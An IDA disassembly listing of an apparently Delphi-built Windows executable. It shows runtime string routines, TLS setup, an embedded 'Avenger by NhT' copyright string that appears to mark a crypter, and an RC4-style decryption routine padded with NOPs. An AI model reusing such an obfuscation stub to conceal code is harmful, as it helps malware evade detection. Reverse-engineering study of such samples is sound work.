sub_401740	proc near		; CODE XREF: sub_401BA8+1Ap
					; sub_401BA8+2Fp
		pop	ds:dword_404004
		jmp	sub_401734
sub_401740	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40174C	proc near		; CODE XREF: sub_401300+Fp
					; sub_401810+23p ...
		mov	edx, [eax]
		test	edx, edx
		jz	short locret_40176D
		mov	dword ptr [eax], 0
		mov	ecx, [edx-8]
		dec	ecx
		jl	short locret_40176D
		dec	dword ptr [edx-8]
		jnz	short locret_40176D
		push	eax
		lea	eax, [edx-8]
		call	sub_4010E8
		pop	eax

locret_40176D:				; CODE XREF: sub_40174C+4j
					; sub_40174C+10j ...
		retn
sub_40174C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401770	proc near		; CODE XREF: sub_401F68+114p
					; sub_4021F0+259p ...
		push	ebx
		push	esi
		mov	ebx, eax
		mov	esi, edx


loc_401776:				; CODE XREF: sub_401770+29j
		mov	edx, [ebx]
		test	edx, edx
		jz	short loc_401795
		mov	dword ptr [ebx], 0
		mov	ecx, [edx-8]
		dec	ecx
		jl	short loc_401795
		dec	dword ptr [edx-8]
		jnz	short loc_401795
		lea	eax, [edx-8]
		call	sub_4010E8


loc_401795:				; CODE XREF: sub_401770+Aj
					; sub_401770+16j ...
		add	ebx, 4
		dec	esi
		jnz	short loc_401776
		pop	esi
		pop	ebx
		retn
sub_401770	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4017A0	proc near		; CODE XREF: sub_4018AC+8j
					; sub_402DE0+53p ...
		test	edx, edx
		jz	short loc_4017C7
		mov	ecx, [edx-8]
		inc	ecx
		jg	short loc_4017C4
		push	eax
		push	edx
		mov	eax, [edx-4]
		call	sub_4017E4
		mov	edx, eax
		pop	eax
		push	edx
		mov	ecx, [eax-4]
		call	sub_4011B4
		pop	edx
		pop	eax
		jmp	short loc_4017C7
; ---------------------------------------------------------------------------


loc_4017C4:				; CODE XREF: sub_4017A0+8j
		inc	dword ptr [edx-8]


loc_4017C7:				; CODE XREF: sub_4017A0+2j
					; sub_4017A0+22j
		xchg	edx, [eax]
		test	edx, edx
		jz	short locret_4017E0
		mov	ecx, [edx-8]
		dec	ecx
		jl	short locret_4017E0
		dec	dword ptr [edx-8]
		jnz	short locret_4017E0
		lea	eax, [edx-8]
		call	sub_4010E8

locret_4017E0:				; CODE XREF: sub_4017A0+2Bj
					; sub_4017A0+31j ...
		retn
sub_4017A0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4017E4	proc near		; CODE XREF: sub_4017A0+Fp
					; sub_401810+Bp ...
		test	eax, eax
		jle	short loc_40180C
		push	eax
		add	eax, 0Ah
		and	eax, 0FFFFFFFEh
		push	eax
		call	sub_4010D0
		pop	edx
		mov	word ptr [edx+eax-2], 0
		add	eax, 8
		pop	edx
		mov	[eax-4], edx
		mov	dword ptr [eax-8], 1
		retn
; ---------------------------------------------------------------------------


loc_40180C:				; CODE XREF: sub_4017E4+2j
		xor	eax, eax
		retn
sub_4017E4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401810	proc near		; CODE XREF: sub_401300+2Fp
					; sub_401840+8p ...
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, ecx
		mov	eax, edi
		call	sub_4017E4
		mov	ecx, edi
		mov	edi, eax
		test	esi, esi
		jz	short loc_401831
		mov	edx, eax
		mov	eax, esi
		call	sub_4011B4


loc_401831:				; CODE XREF: sub_401810+16j
		mov	eax, ebx
		call	sub_40174C
		mov	[ebx], edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401810	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401840	proc near		; CODE XREF: sub_4020E4+90p
		push	edx
		mov	edx, esp
		mov	ecx, 1
		call	sub_401810
		pop	edx
		retn
sub_401840	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401850	proc near		; CODE XREF: sub_402FBC+45p
		xor	ecx, ecx
		test	edx, edx
		jz	short loc_401877
		push	edx


loc_401857:				; CODE XREF: sub_401850+1Dj
		cmp	cl, [edx]
		jz	short loc_401872
		cmp	cl, [edx+1]
		jz	short loc_401871
		cmp	cl, [edx+2]
		jz	short loc_401870
		cmp	cl, [edx+3]
		jz	short loc_40186F
		add	edx, 4
		jmp	short loc_401857
; ---------------------------------------------------------------------------


loc_40186F:				; CODE XREF: sub_401850+18j
		inc	edx


loc_401870:				; CODE XREF: sub_401850+13j
		inc	edx


loc_401871:				; CODE XREF: sub_401850+Ej
		inc	edx


loc_401872:				; CODE XREF: sub_401850+9j
		mov	ecx, edx
		pop	edx
		sub	ecx, edx


loc_401877:				; CODE XREF: sub_401850+4j
		jmp	sub_401810
sub_401850	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401880	proc near		; CODE XREF: sub_4025E8+28p
					; sub_402D9C+28p
		xor	ecx, ecx
		mov	cl, [edx]
		inc	edx
		jmp	sub_401810
sub_401880	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40188C	proc near		; CODE XREF: sub_402E5C+2Bp
		push	edi
		push	eax
		push	ecx
		mov	edi, edx
		xor	eax, eax
		repne scasb
		jnz	short loc_401899
		not	ecx


loc_401899:				; CODE XREF: sub_40188C+9j
		pop	eax
		add	ecx, eax
		pop	eax
		pop	edi
		jmp	sub_401810
sub_40188C	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4018A4	proc near		; CODE XREF: sub_401D48+Fp
					; sub_401E7C+Cp
		test	eax, eax
		jz	short locret_4018AB
		mov	eax, [eax-4]

locret_4018AB:				; CODE XREF: sub_4018A4+2j
		retn
sub_4018A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4018AC	proc near		; CODE XREF: sub_4020E4+9Ap
		test	edx, edx
		jz	short locret_4018EF
		mov	ecx, [eax]
		test	ecx, ecx
		jz	sub_4017A0
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, [ecx-4]
		mov	edx, [esi-4]
		add	edx, edi
		cmp	esi, ecx
		jz	short loc_4018E4
		call	sub_4019F8
		mov	eax, esi
		mov	ecx, [esi-4]


loc_4018D7:				; CODE XREF: sub_4018AC+41j
		mov	edx, [ebx]
		add	edx, edi
		call	sub_4011B4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4018E4:				; CODE XREF: sub_4018AC+1Fj
		call	sub_4019F8
		mov	eax, [ebx]
		mov	ecx, edi
		jmp	short loc_4018D7
; ---------------------------------------------------------------------------

locret_4018EF:				; CODE XREF: sub_4018AC+2j
		retn
sub_4018AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4018F0	proc near		; CODE XREF: sub_402EA0+3Cp
					; sub_402EA0+65p ...
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		mov	edi, edx
		cmp	eax, edx
		jz	loc_40198E
		test	esi, esi
		jz	short loc_40196B
		test	edi, edi
		jz	short loc_401972
		mov	eax, [esi-4]
		mov	edx, [edi-4]
		sub	eax, edx
		ja	short loc_401913
		add	edx, eax


loc_401913:				; CODE XREF: sub_4018F0+1Fj
		push	edx
		shr	edx, 2
		jz	short loc_40193F


loc_401919:				; CODE XREF: sub_4018F0+45j
		mov	ecx, [esi]
		mov	ebx, [edi]
		cmp	ecx, ebx
		jnz	short loc_401979
		dec	edx
		jz	short loc_401939
		mov	ecx, [esi+4]
		mov	ebx, [edi+4]
		cmp	ecx, ebx
		jnz	short loc_401979
		add	esi, 8
		add	edi, 8
		dec	edx
		jnz	short loc_401919
		jmp	short loc_40193F
; ---------------------------------------------------------------------------


loc_401939:				; CODE XREF: sub_4018F0+32j
		add	esi, 4
		add	edi, 4


loc_40193F:				; CODE XREF: sub_4018F0+27j
					; sub_4018F0+47j
		pop	edx
		and	edx, 3
		jz	short loc_401967
		mov	ecx, [esi]
		mov	ebx, [edi]
		cmp	cl, bl
		jnz	short loc_40198E
		dec	edx
		jz	short loc_401967
		cmp	ch, bh
		jnz	short loc_40198E
		dec	edx
		jz	short loc_401967
		and	ebx, 0FF0000h
		and	ecx, 0FF0000h
		cmp	ecx, ebx
		jnz	short loc_40198E


loc_401967:				; CODE XREF: sub_4018F0+53j
					; sub_4018F0+5Ej ...
		add	eax, eax
		jmp	short loc_40198E
; ---------------------------------------------------------------------------


loc_40196B:				; CODE XREF: sub_4018F0+11j
		mov	edx, [edi-4]
		sub	eax, edx
		jmp	short loc_40198E
; ---------------------------------------------------------------------------


loc_401972:				; CODE XREF: sub_4018F0+15j
		mov	eax, [esi-4]
		sub	eax, edx
		jmp	short loc_40198E
; ---------------------------------------------------------------------------


loc_401979:				; CODE XREF: sub_4018F0+2Fj
					; sub_4018F0+3Cj
		pop	edx
		cmp	cl, bl
		jnz	short loc_40198E
		cmp	ch, bh
		jnz	short loc_40198E
		shr	ecx, 10h
		shr	ebx, 10h
		cmp	cl, bl
		jnz	short loc_40198E
		cmp	ch, bh


loc_40198E:				; CODE XREF: sub_4018F0+9j
					; sub_4018F0+5Bj ...
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4018F0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401994	proc near		; CODE XREF: sub_401F68+17p
					; sub_4020E4+14p ...
		test	eax, eax
		jz	short locret_4019A1
		mov	edx, [eax-8]
		inc	edx
		jle	short locret_4019A1
		inc	dword ptr [eax-8]

locret_4019A1:				; CODE XREF: sub_401994+2j
					; sub_401994+8j
		retn
sub_401994	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4019A4	proc near		; CODE XREF: sub_401E7C+2Cp
					; sub_401F68+7Dp ...
		test	eax, eax
		jz	short loc_4019AA
		retn
; ---------------------------------------------------------------------------
byte_4019A9	db 0			; DATA XREF: sub_4019A4:loc_4019AAo
; ---------------------------------------------------------------------------


loc_4019AA:				; CODE XREF: sub_4019A4+2j
		mov	eax, offset byte_4019A9
		retn
sub_4019A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4019B0	proc near		; CODE XREF: sub_4019F0j
		mov	edx, [eax]
		test	edx, edx
		jz	short loc_4019ED
		mov	ecx, [edx-8]
		dec	ecx
		jz	short loc_4019ED
		push	ebx
		mov	ebx, eax
		mov	eax, [edx-4]
		call	sub_4017E4
		mov	edx, eax
		mov	eax, [ebx]
		mov	[ebx], edx
		push	eax
		mov	ecx, [eax-4]
		call	sub_4011B4
		pop	eax
		mov	ecx, [eax-8]
		dec	ecx
		jl	short loc_4019EA
		dec	dword ptr [eax-8]
		jnz	short loc_4019EA
		lea	eax, [eax-8]
		call	sub_4010E8


loc_4019EA:				; CODE XREF: sub_4019B0+2Bj
					; sub_4019B0+30j
		mov	edx, [ebx]
		pop	ebx


loc_4019ED:				; CODE XREF: sub_4019B0+4j
					; sub_4019B0+Aj
		mov	eax, edx
		retn
sub_4019B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019F0	proc near		; CODE XREF: sub_401E7C+24p
					; sub_401F68+40p ...
		jmp	sub_4019B0
sub_4019F0	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4019F8	proc near		; CODE XREF: sub_401214+7Fp
					; sub_4018AC+21p ...
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		xor	edi, edi
		test	edx, edx
		jle	short loc_401A4D
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_401A2E
		cmp	dword ptr [eax-8], 1
		jnz	short loc_401A2E
		sub	eax, 8
		add	edx, 9
		push	eax
		mov	eax, esp
		call	sub_401100
		pop	eax
		add	eax, 8
		mov	[ebx], eax
		mov	[eax-4], esi
		mov	byte ptr [esi+eax], 0
		jmp	short loc_401A56
; ---------------------------------------------------------------------------


loc_401A2E:				; CODE XREF: sub_4019F8+11j
					; sub_4019F8+17j
		mov	eax, edx
		call	sub_4017E4
		mov	edi, eax
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_401A4D
		mov	edx, edi
		mov	ecx, [eax-4]
		cmp	ecx, esi
		jl	short loc_401A48
		mov	ecx, esi


loc_401A48:				; CODE XREF: sub_4019F8+4Cj
		call	sub_4011B4


loc_401A4D:				; CODE XREF: sub_4019F8+Bj
					; sub_4019F8+43j
		mov	eax, ebx
		call	sub_40174C
		mov	[ebx], edi


loc_401A56:				; CODE XREF: sub_4019F8+34j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4019F8	endp

; ---------------------------------------------------------------------------
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401A60	proc near		; CODE XREF: CODE:00401A77p
					; DATA XREF: sub_401A80:loc_401A87o
		mov	al, 10h
		jmp	loc_4011A8
sub_401A60	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_401A68:				; DATA XREF: sub_401A80+14o
		mov	ax, [eax]
		sub	ax, 2
		jb	short locret_401A7C
		sub	ax, 8
		jz	short locret_401A7C
		call	sub_401A60

locret_401A7C:				; CODE XREF: CODE:00401A6Fj
					; CODE:00401A75j
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401A80	proc near		; CODE XREF: sub_401B14+38p
		mov	edx, offset dword_4055BC
		xor	eax, eax


loc_401A87:				; CODE XREF: sub_401A80+12j
		mov	dword ptr [edx+eax*4], offset sub_401A60
		inc	eax
		cmp	eax, 2Bh
		jnz	short loc_401A87
		mov	eax, offset loc_401A68
		mov	ds:dword_4055BC, eax
		retn
sub_401A80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401AA0	proc near		; DATA XREF: sub_401B14+13o
		mov	al, 11h
		jmp	loc_4011A8
sub_401AA0	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_401AA8	proc near		; CODE XREF: sub_401C2C+5p
		mov	edx, ds:dword_40400C
		mov	[eax], edx
		mov	ds:dword_40400C, eax
		retn
sub_401AA8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401AB8	proc near		; CODE XREF: sub_401664+66p
					; DATA XREF: DATA:off_404014o
		push	ebx
		push	esi
		mov	esi, eax
		mov	ebx, ds:dword_404010
		test	ebx, ebx
		jz	short loc_401AD2


loc_401AC6:				; CODE XREF: sub_401AB8+18j
		mov	eax, [esi+4]
		call	dword ptr [ebx+4]
		mov	ebx, [ebx]
		test	ebx, ebx
		jnz	short loc_401AC6


loc_401AD2:				; CODE XREF: sub_401AB8+Cj
		pop	esi
		pop	ebx
		retn
sub_401AB8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401AD8	proc near		; DATA XREF: CODE:00403258o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_401B0B
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_405588
		jnz	short loc_401AFD
		call	ds:off_404058
		call	ds:off_404024


loc_401AFD:				; CODE XREF: sub_401AD8+17j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_401B12


loc_401B0A:				; CODE XREF: sub_401AD8+38j
		retn
; ---------------------------------------------------------------------------


loc_401B0B:				; DATA XREF: sub_401AD8+6o
		jmp	loc_40151C
; ---------------------------------------------------------------------------
		jmp	short loc_401B0A
; ---------------------------------------------------------------------------


loc_401B12:				; CODE XREF: sub_401AD8:loc_401B0Aj
					; DATA XREF: sub_401AD8+2Do
		pop	ebp
		retn
sub_401AD8	endp


; =============== S U B	R O U T	I N E =======================================



sub_401B14	proc near		; DATA XREF: CODE:00403254o
		sub	ds:dword_405588, 1
		jnb	short locret_401B5B
		call	GetProcessHeap	; GetProcessHeap
		mov	ds:hHeap, eax
		mov	ds:dword_405000, offset	sub_401AA0
		mov	ds:word_405028,	0D7B0h
		mov	ds:word_4051F4,	0D7B0h
		mov	ds:word_4053C0,	0D7B0h
		call	sub_401A80
		call	GetCurrentThreadId	; GetCurrentThreadId
		mov	ds:dword_405018, eax

locret_401B5B:				; CODE XREF: sub_401B14+7j
		retn
sub_401B14	endp

; ---------------------------------------------------------------------------
		dd 0FFFFFFFFh, 2Fh
aPortionsCopyri	db 'Portions Copyright (c) 1999,2003 Avenger by NhT',0
					; DATA XREF: DATA:off_40405Co

; =============== S U B	R O U T	I N E =======================================



sub_401B94	proc near		; CODE XREF: sub_401BA8+21p
		push	eax		; uBytes
		push	40h		; uFlags
		call	LocalAlloc	; LocalAlloc
		retn
sub_401B94	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401BA0	proc near		; CODE XREF: sub_401BA8+1p
		mov	eax, 4
		retn
sub_401BA0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401BA8	proc near		; CODE XREF: sub_401BEC:loc_401C06p
		push	ebx
		call	sub_401BA0
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_401BEA
		cmp	ds:TlsIndex, 0FFFFFFFFh
		jnz	short loc_401BC7
		mov	eax, 0E2h
		call	sub_401740
; ---------------------------------------------------------------------------


loc_401BC7:				; CODE XREF: sub_401BA8+13j
		mov	eax, ebx
		call	sub_401B94
		test	eax, eax
		jnz	short loc_401BDE
		mov	eax, 0E2h
		call	sub_401740
; ---------------------------------------------------------------------------
		jmp	short loc_401BEA
; ---------------------------------------------------------------------------


loc_401BDE:				; CODE XREF: sub_401BA8+28j
		push	eax		; lpTlsValue
		mov	eax, ds:TlsIndex
		push	eax		; dwTlsIndex
		call	TlsSetValue	; TlsSetValue


loc_401BEA:				; CODE XREF: sub_401BA8+Aj
					; sub_401BA8+34j
		pop	ebx
		retn
sub_401BA8	endp


; =============== S U B	R O U T	I N E =======================================



sub_401BEC	proc near		; CODE XREF: sub_40115C+20p
		mov	cl, ds:byte_405668
		mov	eax, ds:TlsIndex
		test	cl, cl
		jnz	short loc_401C21
		mov	edx, large fs:2Ch
		mov	eax, [edx+eax*4]
		retn
; ---------------------------------------------------------------------------


loc_401C06:				; CODE XREF: sub_401BEC+3Dj
		call	sub_401BA8
		mov	eax, ds:TlsIndex
		push	eax		; dwTlsIndex
		call	TlsGetValue	; TlsGetValue
		test	eax, eax
		jz	short loc_401C1B
		retn
; ---------------------------------------------------------------------------


loc_401C1B:				; CODE XREF: sub_401BEC+2Cj
		mov	eax, ds:dword_405674
		retn
; ---------------------------------------------------------------------------


loc_401C21:				; CODE XREF: sub_401BEC+Dj
		push	eax		; dwTlsIndex
		call	TlsGetValue	; TlsGetValue
		test	eax, eax
		jz	short loc_401C06
		retn
sub_401BEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_401C2C	proc near		; CODE XREF: sub_401C38+2Ep
		mov	eax, offset dword_404064
		call	sub_401AA8
		retn
sub_401C2C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401C38	proc near		; CODE XREF: CODE:004032A6p
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		mov	ds:TlsIndex, eax
		push	0		; lpModuleName
		call	GetModuleHandleA	; GetModuleHandleA
		mov	ds:dword_40566C, eax
		mov	eax, ds:dword_40566C
		mov	ds:dword_404068, eax
		xor	eax, eax
		mov	ds:dword_40406C, eax
		xor	eax, eax
		mov	ds:dword_404070, eax
		call	sub_401C2C
		mov	edx, offset dword_404064
		mov	eax, ebx
		call	sub_4015F8
		pop	ebx
		retn
sub_401C38	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401C7C	proc near		; DATA XREF: CODE:00403250o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_401CAD
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_405670
		jnz	short loc_401C9F
		mov	eax, offset off_40405C
		call	sub_40174C


loc_401C9F:				; CODE XREF: sub_401C7C+17j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_401CB4


loc_401CAC:				; CODE XREF: sub_401C7C+36j
		retn
; ---------------------------------------------------------------------------


loc_401CAD:				; DATA XREF: sub_401C7C+6o
		jmp	loc_40151C
; ---------------------------------------------------------------------------
		jmp	short loc_401CAC
; ---------------------------------------------------------------------------


loc_401CB4:				; CODE XREF: sub_401C7C:loc_401CACj
					; DATA XREF: sub_401C7C+2Bo
		pop	ebp
		retn
sub_401C7C	endp

; ---------------------------------------------------------------------------
		align 4


loc_401CB8:				; DATA XREF: CODE:off_40324Co
		sub	ds:dword_405670, 1
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401CC0	proc near		; DATA XREF: CODE:00403260o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_401CE5
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_405678
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_401CEC


loc_401CE4:				; CODE XREF: sub_401CC0+2Aj
		retn
; ---------------------------------------------------------------------------


loc_401CE5:				; DATA XREF: sub_401CC0+6o
		jmp	loc_40151C
; ---------------------------------------------------------------------------
		jmp	short loc_401CE4
; ---------------------------------------------------------------------------


loc_401CEC:				; CODE XREF: sub_401CC0:loc_401CE4j
					; DATA XREF: sub_401CC0+1Fo
		pop	ebp
		retn
sub_401CC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401CF0	proc near		; DATA XREF: CODE:0040325Co
		sub	ds:dword_405678, 1
		retn
sub_401CF0	endp

; [00000006 BYTES: COLLAPSED FUNCTION FreeLibrary_0. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION GetProcAddress. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION LoadLibraryA. PRESS KEYPAD "+" TO	EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D10	proc near		; DATA XREF: CODE:00403268o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_401D35
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_40567C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_401D3C


loc_401D34:				; CODE XREF: sub_401D10+2Aj
		retn
; ---------------------------------------------------------------------------


loc_401D35:				; DATA XREF: sub_401D10+6o
		jmp	loc_40151C
; ---------------------------------------------------------------------------
		jmp	short loc_401D34
; ---------------------------------------------------------------------------


loc_401D3C:				; CODE XREF: sub_401D10:loc_401D34j
					; DATA XREF: sub_401D10+1Fo
		pop	ebp
		retn
sub_401D10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401D40	proc near		; DATA XREF: CODE:00403264o
		sub	ds:dword_40567C, 1
		retn
sub_401D40	endp


; =============== S U B	R O U T	I N E =======================================



sub_401D48	proc near		; CODE XREF: sub_401EBC+15p

var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF4h
		mov	[esp+1Ch+var_1C], edx
		mov	edi, eax
		mov	eax, [esp+1Ch+var_1C]
		call	sub_4018A4
		mov	[esp+1Ch+var_14], eax
		mov	byte ptr [edi+100h], 0
		mov	byte ptr [edi+101h], 0
		xor	edx, edx
		mov	eax, edi


loc_401D72:				; CODE XREF: sub_401D48+30j
		mov	[eax], dl
		inc	edx
		inc	eax
		test	dl, dl
		jnz	short loc_401D72
		xor	eax, eax
		xor	esi, esi
		mov	dl, 0
		mov	ecx, edi


loc_401D82:				; CODE XREF: sub_401D48+87j
		nop
		nop
		nop
		nop
		nop
		cmp	esi, [esp+1Ch+var_14]
		jge	short loc_401D99
		mov	ebx, [esp+1Ch+var_1C]
		mov	bl, [ebx+esi]
		mov	[esp+1Ch+var_17], bl
		jmp	short loc_401D9E
; ---------------------------------------------------------------------------


loc_401D99:				; CODE XREF: sub_401D48+43j
		mov	[esp+1Ch+var_17], 0


loc_401D9E:				; CODE XREF: sub_401D48+4Fj
		inc	esi
		cmp	esi, [esp+1Ch+var_14]
		jl	short loc_401DA7
		xor	esi, esi


loc_401DA7:				; CODE XREF: sub_401D48+5Bj
		mov	bl, [ecx]
		add	bl, [esp+1Ch+var_17]
		add	al, bl
		mov	bl, [ecx]
		mov	[esp+1Ch+var_18], bl
		xor	ebx, ebx
		mov	bl, al
		mov	bl, [edi+ebx]
		mov	[ecx], bl
		xor	ebx, ebx
		mov	bl, al
		lea	ebp, [edi+ebx]
		mov	bl, [esp+1Ch+var_18]
		mov	[ebp+0], bl
		inc	ecx
		dec	dl
		jnz	short loc_401D82
		nop
		nop
		nop
		nop
		nop
		add	esp, 0Ch
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401D48	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401DE0	proc near		; CODE XREF: sub_401EBC+54p
		nop
		nop
		nop
		nop
		nop
		xor	ecx, ecx
		mov	edx, 102h
		call	sub_40137C
		retn
sub_401DE0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401DF4	proc near		; CODE XREF: sub_401E7C+36p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		nop
		nop
		nop
		nop
		nop
		mov	ebx, [ebp+arg_0]
		dec	ebx
		test	ebx, ebx
		jl	short loc_401E73
		inc	ebx
		mov	[ebp+var_4], ebx
		mov	esi, edx


loc_401E0E:				; CODE XREF: sub_401DF4+7Dj
		inc	byte ptr [eax+100h]
		xor	edx, edx
		mov	dl, [eax+100h]
		mov	dl, [eax+edx]
		add	[eax+101h], dl
		nop
		nop
		nop
		nop
		nop
		xor	ebx, ebx
		mov	bl, [eax+101h]
		mov	bl, [eax+ebx]
		push	ebx
		xor	ebx, ebx
		mov	bl, [eax+100h]
		lea	edi, [eax+ebx]
		pop	ebx
		mov	[edi], bl
		xor	ebx, ebx
		mov	bl, [eax+101h]
		mov	[eax+ebx], dl
		xor	ebx, ebx
		mov	bl, [eax+100h]
		add	dl, [eax+ebx]
		nop
		nop
		nop
		nop
		nop
		and	edx, 0FFh
		mov	dl, [eax+edx]
		xor	dl, [esi]
		mov	[ecx], dl
		inc	ecx
		inc	esi
		dec	[ebp+var_4]
		jnz	short loc_401E0E


loc_401E73:				; CODE XREF: sub_401DF4+12j
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn	4
sub_401DF4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401E7C	proc near		; CODE XREF: sub_401EBC+37p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	edi, ecx
		mov	esi, edx
		mov	ebp, eax
		mov	eax, esi
		call	sub_4018A4
		mov	ebx, eax
		mov	eax, edi
		mov	edx, ebx
		call	sub_4019F8
		nop
		nop
		nop
		nop
		nop
		push	ebx
		mov	eax, edi
		call	sub_4019F0
		push	eax
		mov	eax, esi
		call	sub_4019A4
		mov	edx, eax
		mov	eax, ebp
		pop	ecx
		call	sub_401DF4
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401E7C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401EBC	proc near		; CODE XREF: sub_401F68+75p
					; sub_401F68+9Ap ...

var_102		= byte ptr -102h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0040151C SIZE 00000036 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEFCh
		push	ebx
		push	esi
		mov	esi, ecx
		mov	ebx, eax
		lea	eax, [ebp+var_102]
		call	sub_401D48
		nop
		nop
		nop
		nop
		nop
		xor	eax, eax
		push	ebp
		push	offset loc_401F16
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	ecx, esi
		lea	eax, [ebp+var_102]
		mov	edx, ebx
		call	sub_401E7C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_401F1D


loc_401F05:				; CODE XREF: sub_401EBC+5Fj
		nop
		nop
		nop
		nop
		nop
		lea	eax, [ebp+var_102]
		call	sub_401DE0
		retn
; ---------------------------------------------------------------------------


loc_401F16:				; DATA XREF: sub_401EBC+22o
		jmp	loc_40151C
; ---------------------------------------------------------------------------
		jmp	short loc_401F05
; ---------------------------------------------------------------------------


